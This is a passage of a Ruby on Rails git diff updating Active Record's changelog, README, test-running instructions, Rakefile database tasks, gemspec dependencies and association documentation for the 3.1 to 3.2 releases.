\ No newline at end of file +end diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG index 502a7e43de..871cc624ca 100644 --- a/activerecord/CHANGELOG +++ b/activerecord/CHANGELOG @@ -1,4 +1,148 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* + +* In development mode the db:drop task also drops the test database. For symmetry with + the db:create task. [Dmitriy Kiriyenko] + +* Added ActiveRecord::Base.store for declaring simple single-column key/value stores [DHH] + + class User < ActiveRecord::Base + store :settings, accessors: [ :color, :homepage ] + end + + u = User.new(color: 'black', homepage: '37signals.com') + u.color # Accessor stored attribute + u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor + + +* MySQL: case-insensitive uniqueness validation avoids calling LOWER when + the column already uses a case-insensitive collation. Fixes #561. + + [Joseph Palermo] + +* Transactional fixtures enlist all active database connections. You can test + models on different connections without disabling transactional fixtures. + + [Jeremy Kemper] + +* Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a + better approach over the old find_or_create_by dynamic methods because it's clearer which + arguments are used to find the record and which are used to create it: + + User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") + + [Andrés Mejía] + +* Fix nested attributes bug where _destroy parameter is taken into account + during :reject_if => :all_blank (fixes #2937) + + [Aaron Christy] + +*Rails 3.1.2 (unreleased)* + +* Fix bug where building the conditions of a nested through association could potentially + modify the conditions of the through and/or source association. If you have experienced + bugs with conditions appearing in the wrong queries when using nested through associations, + this probably solves your problems. [GH #3271] + + [Jon Leighton] + +* If a record is removed from a has_many :through, all of the join records relating to that + record should also be removed from the through association's target. + + [Jon Leighton] + +* Fix adding multiple instances of the same record to a has_many :through. [GH #3425] + + [Jon Leighton] + +* Fix creating records in a through association with a polymorphic source type. [GH #3247] + + [Jon Leighton] + +*Rails 3.1.1 (October 7, 2011)* + +* Add deprecation for the preload_associations method. Fixes #3022. + + [Jon Leighton] + +* Don't require a DB connection when loading a model that uses set_primary_key. GH #2807. + + [Jon Leighton] + +* Fix using select() with a habtm association, e.g. Person.friends.select(:name). GH #3030 and + #2923. + + [Hendy Tanata] + +* Fix belongs_to polymorphic with custom primary key on target. GH #3104. + + [Jon Leighton] + +* CollectionProxy#replace should change the DB records rather than just mutating the array. + Fixes #3020. + + [Jon Leighton] + +* LRU cache in mysql and sqlite are now per-process caches. + + * lib/active_record/connection_adapters/mysql_adapter.rb: LRU cache + keys are per process id. + * lib/active_record/connection_adapters/sqlite_adapter.rb: ditto + + [Aaron Patterson] + +* Support bulk change_table in mysql2 adapter, as well as the mysql one. [Jon Leighton] + +* If multiple parameters are sent representing a date, and some are blank, the +resulting object is nil. In previous releases those values defaulted to 1. This +only affects existing but blank parameters, missing ones still raise an error. +[Akira Matsuda] + +* ActiveRecord::Base.establish_connection now takes a string that contains +a URI that specifies the connection configuration. For example: + + ActiveRecord::Base.establish_connection 'postgres://localhost/foo' + +* Active Record's dynamic finder will now raise the error if you passing in less number of arguments than what you call in method signature. + + So if you were doing this and expecting the second argument to be nil: + + User.find_by_username_and_group("sikachu") + + You'll now get `ArgumentError: wrong number of arguments (1 for 2).` You'll then have to do this: + + User.find_by_username_and_group("sikachu", nil) + + [Prem Sichanugrist] + + +*Rails 3.1.0 (August 30, 2011)* + +* Add a proxy_association method to association proxies, which can be called by association + extensions to access information about the association. This replaces proxy_owner etc with + proxy_association.owner. + + [Jon Leighton] + +* ActiveRecord::MacroReflection::AssociationReflection#build_record has a new method signature. + + Before: def build_association(*options) + After: def build_association(*options, &block) + + Users who are redefining this method to extend functionality should ensure that the block is + passed through to ActiveRecord::Base#new. + + This change is necessary to fix https://github.com/rails/rails/issues/1842. + + [Jon Leighton] + +* AR#pluralize_table_names can be used to singularize/pluralize table name of an individual model: + + class User < ActiveRecord::Base + self.pluralize_table_names = false + end + + Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names. [Guillermo Iguaran] * Add block setting of attributes to singular associations: @@ -232,7 +376,6 @@ def up create_table :posts do |t| t.belongs_to :user - t.timestamps end diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc index 6b4c85bb93..b5db57569c 100644 --- a/activerecord/README.rdoc +++ b/activerecord/README.rdoc @@ -3,7 +3,7 @@ Active Record connects classes to relational database tables to establish an almost zero-configuration persistence layer for applications. The library provides a base class that, when subclassed, sets up a mapping between the new -class and an existing table in the database. In context of an application, +class and an existing table in the database. In the context of an application, these classes are commonly referred to as *models*. Models can also be connected to other models; this is done by defining *associations*. @@ -70,7 +70,7 @@ A short rundown of some of the major features: {Learn more}[link:classes/ActiveRecord/Validations.html] -* Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.) +* Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.). class Person < ActiveRecord::Base before_destroy :invalidate_payment_plan @@ -80,7 +80,7 @@ A short rundown of some of the major features: {Learn more}[link:classes/ActiveRecord/Callbacks.html] -* Observers that react to changes in a model +* Observers that react to changes in a model. class CommentObserver < ActiveRecord::Observer def after_create(comment) # is called just after Comment#save @@ -91,7 +91,7 @@ A short rundown of some of the major features: {Learn more}[link:classes/ActiveRecord/Observer.html] -* Inheritance hierarchies +* Inheritance hierarchies. class Company < ActiveRecord::Base; end class Firm < Company; end @@ -101,7 +101,7 @@ A short rundown of some of the major features: {Learn more}[link:classes/ActiveRecord/Base.html] -* Transactions +* Transactions. # Database transaction Account.transaction do @@ -112,7 +112,7 @@ A short rundown of some of the major features: {Learn more}[link:classes/ActiveRecord/Transactions/ClassMethods.html] -* Reflections on columns, associations, and aggregations +* Reflections on columns, associations, and aggregations. reflection = Firm.reflect_on_association(:clients) reflection.klass # => Client (class) @@ -121,7 +121,7 @@ A short rundown of some of the major features: {Learn more}[link:classes/ActiveRecord/Reflection/ClassMethods.html] -* Database abstraction through simple adapters +* Database abstraction through simple adapters. # connect to SQLite3 ActiveRecord::Base.establish_connection(:adapter => "sqlite3", :database => "dbfile.sqlite3") @@ -141,13 +141,13 @@ A short rundown of some of the major features: SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html]. -* Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc] +* Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc]. ActiveRecord::Base.logger = Logger.new(STDOUT) ActiveRecord::Base.logger = Log4r::Logger.new("Application Log") -* Database agnostic schema management with Migrations +* Database agnostic schema management with Migrations. class AddSystemSettings < ActiveRecord::Migration def self.up @@ -197,13 +197,13 @@ Admit the Database: == Download and installation -The latest version of Active Record can be installed with Rubygems: +The latest version of Active Record can be installed with RubyGems: % [sudo] gem install activerecord Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/activerecord/ +* https://github.com/rails/rails/tree/master/activerecord == License @@ -215,7 +215,7 @@ Active Record is released under the MIT license. API documentation is at -* http://api.rubyonrails.com +* http://api.rubyonrails.org Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: diff --git a/activerecord/RUNNING_UNIT_TESTS b/activerecord/RUNNING_UNIT_TESTS index b3d376772e..6a2e23b01f 100644 --- a/activerecord/RUNNING_UNIT_TESTS +++ b/activerecord/RUNNING_UNIT_TESTS @@ -1,43 +1,39 @@ -== Creating the test database +== Configure databases -The default names for the test databases are "activerecord_unittest" and -"activerecord_unittest2". If you want to use another database name, then be sure -to update the connection adapter setups you want to test within -test/connections/<your database>/connection.rb. -When you have the database online, you can import the fixture tables with -the test/schema/*.sql files. +Copy test/config.example.yml to test/config.yml and edit as needed. Or just run the tests for +the first time, which will do the copy automatically and use the default (sqlite3). -Make sure that you create database objects with the same user that you specified in -connection.rb otherwise (on Postgres, at least) tests for default values will fail. +You can build postgres and mysql databases using the build_postgresql and build_mysql rake tasks. -== Running with Rake +== Running the tests -The easiest way to run the unit tests is through Rake. The default task runs -the entire test suite for all the adapters. You can also run the suite on just -one adapter by using the tasks test_mysql, test_sqlite3, test_postgresql or any -of the other test_ tasks. For more information, checkout the full array of rake -tasks with "rake -T" +You can run a particular test file from the command line, e.g. -Rake can be found at http://rake.rubyforge.org + $ ruby -Itest test/cases/base_test.rb -== Running by hand +To run a specific test: -Unit tests are located in test/cases directory. If you only want to run a single test suite, -you can do so with: + $ ruby -Itest test/cases/base_test.rb -n test_something_works - rake test_mysql TEST=test/cases/base_test.rb +You can run with a database other than the default you set in test/config.yml, using the ARCONN +environment variable: -That'll run the base suite using the MySQL-Ruby adapter. Some tests rely on the schema -being initialized - you can initialize the schema with: + $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb - rake test_mysql TEST=test/cases/aaa_create_tables_test.rb - rake mysql:build_databases +You can run all the tests for a given database via rake: -To setup the testing environment for PostgreSQL use this command: + $ rake test_mysql - rake postgresql:build_databases +The 'rake test' task will run all the tests for mysql, mysql2, sqlite3 and postgresql. -The incantation for running a particular test looks like this +== Identity Map - rake test TEST=test/cases/datatype_test_postgresql.rb TESTOPTS="-n test_timestamp_with_zone_values_without_rails_time_zone_support" +By default the tests run with the Identity Map turned off. But all tests should pass whether or +not the identity map is on or off. You can turn it on using the IM env variable: + $ IM=true ruby -Itest test/case/base_test.rb + +== Config file + +By default, the config file is expected to be at the path test/config.yml. You can specify a +custom location with the ARCONFIG environment variable. diff --git a/activerecord/Rakefile b/activerecord/Rakefile index e414c4fb1c..d769a73dba 100755 --- a/activerecord/Rakefile +++ b/activerecord/Rakefile @@ -1,11 +1,10 @@ #!/usr/bin/env rake require 'rake/testtask' require 'rake/packagetask' -require 'rake/gempackagetask' +require 'rubygems/package_task' require File.expand_path(File.dirname(__FILE__)) + "/test/config" - -MYSQL_DB_USER = 'rails' +require File.expand_path(File.dirname(__FILE__)) + "/test/support/config" def run_without_aborting(*tasks) errors = [] @@ -43,9 +42,8 @@ end %w( mysql mysql2 postgresql sqlite3 sqlite3_mem firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter| Rake::TestTask.new("test_#{adapter}") { |t| - connection_path = "test/connections/#{adapter =~ /jdbc/ ? 'jdbc' : 'native'}_#{adapter}" adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/] - t.libs << "test" << connection_path + t.libs << 'test' t.test_files = (Dir.glob( "test/cases/**/*_test.rb" ).reject { |x| x =~ /\/adapters\// } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort @@ -55,21 +53,27 @@ end } task "isolated_test_#{adapter}" do - connection_path = "test/connections/#{adapter =~ /jdbc/ ? 'jdbc' : 'native'}_#{adapter}" adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/] - puts [adapter, adapter_short, connection_path].inspect + puts [adapter, adapter_short].inspect ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME')) (Dir["test/cases/**/*_test.rb"].reject { |x| x =~ /\/adapters\// } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file| - sh(ruby, "-Ilib:test:#{connection_path}", file) + sh(ruby, "-Itest", file) end or raise "Failures" end namespace adapter do task :test => "test_#{adapter}" task :isolated_test => "isolated_test_#{adapter}" + + # Set the connection environment for the adapter + task(:env) { ENV['ARCONN'] = adapter } end + + # Make sure the adapter test evaluates the env setting task + task "test_#{adapter}" => "#{adapter}:env" + task "isolated_test_#{adapter}" => "#{adapter}:env" end rule '.sqlite3' do |t| @@ -84,14 +88,16 @@ task :test_sqlite3 => [ namespace :mysql do desc 'Build the MySQL test databases' task :build_databases do - %x( mysql --user=#{MYSQL_DB_USER} -e "create DATABASE activerecord_unittest DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") - %x( mysql --user=#{MYSQL_DB_USER} -e "create DATABASE activerecord_unittest2 DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") + config = ARTest.config['connections']['mysql'] + %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") + %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ") end desc 'Drop the MySQL test databases' task :drop_databases do - %x( mysqladmin --user=#{MYSQL_DB_USER} -f drop activerecord_unittest ) - %x( mysqladmin --user=#{MYSQL_DB_USER} -f drop activerecord_unittest2 ) + config = ARTest.config['connections']['mysql'] + %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} ) + %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} ) end desc 'Rebuild the MySQL test databases' @@ -106,14 +112,16 @@ task :rebuild_mysql_databases => 'mysql:rebuild_databases' namespace :postgresql do desc 'Build the PostgreSQL test databases' task :build_databases do - %x( createdb -E UTF8 activerecord_unittest ) - %x( createdb -E UTF8 activerecord_unittest2 ) + config = ARTest.config['connections']['postgresql'] + %x( createdb -E UTF8 #{config['arunit']['database']} ) + %x( createdb -E UTF8 #{config['arunit2']['database']} ) end desc 'Drop the PostgreSQL test databases' task :drop_databases do - %x( dropdb activerecord_unittest ) - %x( dropdb activerecord_unittest2 ) + config = ARTest.config['connections']['postgresql'] + %x( dropdb #{config['arunit']['database']} ) + %x( dropdb #{config['arunit2']['database']} ) end desc 'Rebuild the PostgreSQL test databases' @@ -152,8 +160,9 @@ namespace :frontbase do DISCONNECT ALL; ) end - create_activerecord_unittest = build_frontbase_database['activerecord_unittest', File.join(SCHEMA_ROOT, 'frontbase.sql')] - create_activerecord_unittest2 = build_frontbase_database['activerecord_unittest2', File.join(SCHEMA_ROOT, 'frontbase2.sql')] + config = ARTest.config['connections']['frontbase'] + create_activerecord_unittest = build_frontbase_database[config['arunit']['database'], File.join(SCHEMA_ROOT, 'frontbase.sql')] + create_activerecord_unittest2 = build_frontbase_database[config['arunit2']['database'], File.join(SCHEMA_ROOT, 'frontbase2.sql')] execute_frontbase_sql = Proc.new do |sql| system(<<-SHELL) /Library/FrontBase/bin/sql92 <<-SQL @@ -171,7 +180,7 @@ task :rebuild_frontbase_databases => 'frontbase:rebuild_databases' spec = eval(File.read('activerecord.gemspec')) -Rake::GemPackageTask.new(spec) do |p| +Gem::PackageTask.new(spec) do |p| p.gem_spec = spec end diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec index 335127f38e..2de81c31a3 100644 --- a/activerecord/activerecord.gemspec +++ b/activerecord/activerecord.gemspec @@ -12,9 +12,8 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'activerecord' - s.files = Dir['CHANGELOG', 'README.rdoc', 'examples/**/*', 'lib/**/*'] + s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*'] s.require_path = 'lib' s.extra_rdoc_files = %w( README.rdoc ) @@ -22,6 +21,6 @@ Gem::Specification.new do |s| s.add_dependency('activesupport', version) s.add_dependency('activemodel', version) - s.add_dependency('arel', '~> 2.1.1') - s.add_dependency('tzinfo', '~> 0.3.27') + s.add_dependency('arel', '~> 2.2.1') + s.add_dependency('tzinfo', '~> 0.3.29') end diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb index 59cf42a377..3572c640eb 100644 --- a/activerecord/lib/active_record.rb +++ b/activerecord/lib/active_record.rb @@ -21,13 +21,6 @@ # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #++ - -activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__) -$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path) - -activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__) -$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path) - require 'active_support' require 'active_support/i18n' require 'active_model' @@ -41,6 +34,7 @@ module ActiveRecord eager_autoload do autoload :ActiveRecordError, 'active_record/errors' autoload :ConnectionNotEstablished, 'active_record/errors' + autoload :ConnectionAdapters, 'active_record/connection_adapters/abstract_adapter' autoload :Aggregations autoload :Associations @@ -71,9 +65,11 @@ module ActiveRecord autoload :Persistence autoload :QueryCache autoload :Reflection + autoload :Result autoload :Schema autoload :SchemaDumper autoload :Serialization + autoload :Store autoload :SessionStore autoload :Timestamp autoload :Transactions diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb index 90d3b58c78..5a8addc4e4 100644 --- a/activerecord/lib/active_record/aggregations.rb +++ b/activerecord/lib/active_record/aggregations.rb @@ -172,11 +172,11 @@ module ActiveRecord # with this option. # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value # object. Each mapping is represented as an array where the first item is the name of the - # entity attribute and the second item is the name the attribute in the value object. The - # order in which mappings are defined determine the order in which attributes are sent to the + # entity attribute and the second item is the name of the attribute in the value object. The + # order in which mappings are defined determines the order in which attributes are sent to the # value class constructor. # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped - # attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all + # attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all # mapped attributes. # This defaults to +false+. # * <tt>:constructor</tt> - A symbol specifying the name of the constructor method or a Proc that @@ -191,7 +191,8 @@ module ActiveRecord # # Option examples: # composed_of :temperature, :mapping => %w(reading celsius) - # composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money } + # composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), + # :converter => Proc.new { |balance| balance.to_money } # composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ] # composed_of :gps_location # composed_of :gps_location, :allow_nil => true diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb index 9bc44e5163..34684ad2f5 100644 --- a/activerecord/lib/active_record/associations.rb +++ b/activerecord/lib/active_record/associations.rb @@ -33,7 +33,7 @@ module ActiveRecord class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc: def initialize(owner_class_name, reflection, source_reflection) - super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.") + super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.") end end @@ -48,7 +48,7 @@ module ActiveRecord through_reflection = reflection.through_reflection source_reflection_names = reflection.source_reflection_names source_associations = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect } - super("Could not find the source association(s) #{source_reflection_names.collect{ |a| a.inspect }.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?") + super("Could not find the source association(s) #{source_reflection_names.collect{ |a| a.inspect }.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?") end end @@ -76,12 +76,6 @@ module ActiveRecord end end - class HasAndBelongsToManyAssociationWithPrimaryKeyError < ActiveRecordError #:nodoc: - def initialize(reflection) - super("Primary key is not allowed in a has_and_belongs_to_many join table (#{reflection.options[:join_table]}).") - end - end - class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc: def initialize(reflection) super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.") @@ -96,7 +90,7 @@ module ActiveRecord class ReadOnlyAssociation < ActiveRecordError #:nodoc: def initialize(reflection) - super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.") + super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.") end end @@ -197,7 +191,7 @@ module ActiveRecord # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt> # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt> # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt> - # <tt>Project#milestones.delete(milestone), Project#milestones.find(milestone_id), Project#milestones.find(:all, options),</tt> + # <tt>Project#milestones.delete(milestone), Project#milestones.find(milestone_id), Project#milestones.all(options),</tt> # <tt>Project#milestones.build, Project#milestones.create</tt> # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt> # <tt>Project#categories.delete(category1)</tt> @@ -426,7 +420,7 @@ module ActiveRecord # end # end # - # person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson") + # person = Account.first.people.find_or_create_by_name("David Heinemeier Hansson") # person.first_name # => "David" # person.last_name # => "Heinemeier Hansson" # @@ -457,20 +451,27 @@ module ActiveRecord # has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension] # end # - # Some extensions can only be made to work with knowledge of the association proxy's internals. - # Extensions can access relevant state using accessors on the association proxy: + # Some extensions can only be made to work with knowledge of the association's internals. + # Extensions can access relevant state using the following methods (where +items+ is the + # name of the association): # - # * +proxy_owner+ - Returns the object the association is part of. - # * +proxy_reflection+ - Returns the reflection object that describes the association. - # * +proxy_target+ - Returns the associated object for +belongs_to+ and +has_one+, or + # * <tt>record.association(:items).owner</tt> - Returns the object the association is part of. + # * <tt>record.association(:items).reflection</tt> - Returns the reflection object that describes the association. + # * <tt>record.association(:items).target</tt> - Returns the associated object for +belongs_to+ and +has_one+, or # the collection of associated objects for +has_many+ and +has_and_belongs_to_many+. # + # However, inside the actual extension code, you will not have access to the <tt>record</tt> as + # above. In this case, you can access <tt>proxy_association</tt>. For example, + # <tt>record.association(:items)</tt> and <tt>record.items.proxy_association</tt> will return + # the same object, allowing you to make calls like <tt>proxy_association.owner</tt> inside + # association extensions. + # # === Association Join Models # # Has Many associations can be configured with the <tt>:through</tt> option to use an - # explicit join model to retrieve the data. This operates similarly to a - # +has_and_belongs_to_many+ association. The advantage is that you're able to add validations, - # callbacks, and extra attributes on the join model. Consider the following schema: + # explicit join model to retrieve the data. This operates similarly to a + # +has_and_belongs_to_many+ association. The advantage is that you're able to add validations, + # callbacks, and extra attributes on the join model. Consider the following schema: # # class Author < ActiveRecord::Base # has_many :authorships @@ -482,7 +483,7 @@ module ActiveRecord # belongs_to :book # end # - # @author = Author.find :first + # @author = Author.first # @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to # @author.books # selects all books by using the Authorship join model # @@ -502,7 +503,7 @@ module ActiveRecord # belongs_to :client # end # - # @firm = Firm.find :first + # @firm = Firm.first # @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm # @firm.invoices # selects all invoices by going through the Client join model # @@ -527,7 +528,7 @@ module ActiveRecord # @group.avatars # selects all avatars by going through the User join model. # # An important caveat with going through +has_one+ or +has_many+ associations on the - # join model is that these associations are *read-only*. For example, the following + # join model is that these associations are *read-only*. For example, the following # would not work following the previous example: # # @group.avatars << Avatar.new # this would work if User belonged_to Avatar rather than the other way around @@ -595,7 +596,7 @@ module ActiveRecord # === Polymorphic Associations # # Polymorphic associations on models are not restricted on what types of models they - # can be associated with. Rather, they specify an interface that a +has_many+ association + # can be associated with. Rather, they specify an interface that a +has_many+ association # must adhere to. # # class Asset < ActiveRecord::Base @@ -609,7 +610,7 @@ module ActiveRecord # @asset.attachable = @post # # This works by using a type column in addition to a foreign key to specify the associated - # record. In the Asset example, you'd need an +attachable_id+ integer column and an + # record. In the Asset example, you'd need an +attachable_id+ integer column and an # +attachable_type+ string column. # # Using polymorphic associations in combination with single table inheritance (STI) is @@ -665,7 +666,7 @@ module ActiveRecord # # Consider the following loop using the class above: # - # for post in Post.all + # Post.all.each do |post| # puts "Post: " + post.title # puts "Written by: " + post.author.name # puts "Last comment on: " + post.comments.first.created_on @@ -674,7 +675,7 @@ module ActiveRecord # To iterate over these one hundred posts, we'll generate 201 database queries. Let's # first just optimize it for retrieving the author: # - # for post in Post.find(:all, :include => :author) + # Post.includes(:author).each do |post| # # This references the name of the +belongs_to+ association that also used the <tt>:author</tt> # symbol. After loading the posts, find will collect the +author_id+ from each one and load @@ -683,7 +684,7 @@ module ActiveRecord # # We can improve upon the situation further by referencing both associations in the finder with: # - # for post in Post.find(:all, :include => [ :author, :comments ]) + # Post.includes(:author, :comments).each do |post| # # This will load all comments with a single query. This reduces the total number of queries # to 3. More generally the number of queries will be 1 plus the number of associations @@ -691,7 +692,7 @@ module ActiveRecord # # To include a deep hierarchy of associations, use a hash: # - # for post in Post.find(:all, :include => [ :author, { :comments => { :author => :gravatar } } ]) + # Post.includes(:author, {:comments => {:author => :gravatar}}).each do |post| # # That'll grab not only all the comments but all their authors and gravatar pictures. # You can mix and match symbols, arrays and hashes in any combination to describe the @@ -719,13 +720,13 @@ module ActiveRecord # <tt>:order => "author.name DESC"</tt> will work but <tt>:order => "name DESC"</tt> will not. # # If you do want eager load only some members of an association it is usually more natural - # to <tt>:include</tt> an association which has conditions defined on it: + # to include an association which has conditions defined on it: # # class Post < ActiveRecord::Base # has_many :approved_comments, :class_name => 'Comment', :conditions => ['approved = ?', true] # end # - # Post.find(:all, :include => :approved_comments) + # Post.includes(:approved_comments) # # This will load posts and eager load the +approved_comments+ association, which contains # only those comments that have been approved. @@ -737,10 +738,10 @@ module ActiveRecord # has_many :most_recent_comments, :class_name => 'Comment', :order => 'id DESC', :limit => 10 # end # - # Picture.find(:first, :include => :most_recent_comments).most_recent_comments # => returns all associated comments. + # Picture.includes(:most_recent_comments).first.most_recent_comments # => returns all associated comments. # # When eager loaded, conditions are interpolated in the context of the model class, not - # the model instance. Conditions are lazily interpolated before the actual model exists. + # the model instance. Conditions are lazily interpolated before the actual model exists. # # Eager loading is supported with polymorphic associations. # @@ -750,7 +751,7 @@ module ActiveRecord # # A call that tries to eager load the addressable model # - # Address.find(:all, :include => :addressable) + # Address.includes(:addressable) # # This will execute one query to load the addresses and load the addressables with one # query per addressable type. @@ -764,47 +765,47 @@ module ActiveRecord # == Table Aliasing # # Active Record uses table aliasing in the case that a table is referenced multiple times - # in a join. If a table is referenced only once, the standard table name is used. The + # in a join. If a table is referenced only once, the standard table name is used. The # second time, the table is aliased as <tt>#{reflection_name}_#{parent_table_name}</tt>. # Indexes are appended for any more successive uses of the table name. # - # Post.find :all, :joins => :comments + # Post.joins(:comments) # # => SELECT ... FROM posts INNER JOIN comments ON ... - # Post.find :all, :joins => :special_comments # STI + # Post.joins(:special_comments) # STI # # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment' - # Post.find :all, :joins => [:comments, :special_comments] # special_comments is the reflection name, posts is the parent table name + # Post.joins(:comments, :special_comments) # special_comments is the reflection name, posts is the parent table name # # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts # # Acts as tree example: # - # TreeMixin.find :all, :joins => :children + # TreeMixin.joins(:children) # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ... - # TreeMixin.find :all, :joins => {:children => :parent} + # TreeMixin.joins(:children => :parent) # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ... # INNER JOIN parents_mixins ... - # TreeMixin.find :all, :joins => {:children => {:parent => :children}} + # TreeMixin.joins(:children => {:parent => :children}) # # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ... # INNER JOIN parents_mixins ... # INNER JOIN mixins childrens_mixins_2 # # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix: # - # Post.find :all, :joins => :categories + # Post.joins(:categories) # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ... - # Post.find :all, :joins => {:categories => :posts} + # Post.joins(:categories => :posts) # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ... # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories - # Post.find :all, :joins => {:categories => {:posts => :categories}} + # Post.joins(:categories => {:posts => :categories}) # # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ... # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories # INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2 # - # If you wish to specify your own custom joins using a <tt>:joins</tt> option, those table + # If you wish to specify your own custom joins using <tt>joins</tt> method, those table # names will take precedence over the eager associations: # - # Post.find :all, :joins => :comments, :joins => "inner join comments ..." + # Post.joins(:comments).joins("inner join comments ...") # # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ... - # Post.find :all, :joins => [:comments, :special_comments], :joins => "inner join comments ..." + # Post.joins(:comments, :special_comments).joins("inner join comments ...") # # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ... # INNER JOIN comments special_comments_posts ... # INNER JOIN comments ... @@ -846,7 +847,7 @@ module ActiveRecord # == Bi-directional associations # # When you specify an association there is usually an association on the associated model - # that specifies the same relationship in reverse. For example, with the following models: + # that specifies the same relationship in reverse. For example, with the following models: # # class Dungeon < ActiveRecord::Base # has_many :traps @@ -863,9 +864,9 @@ module 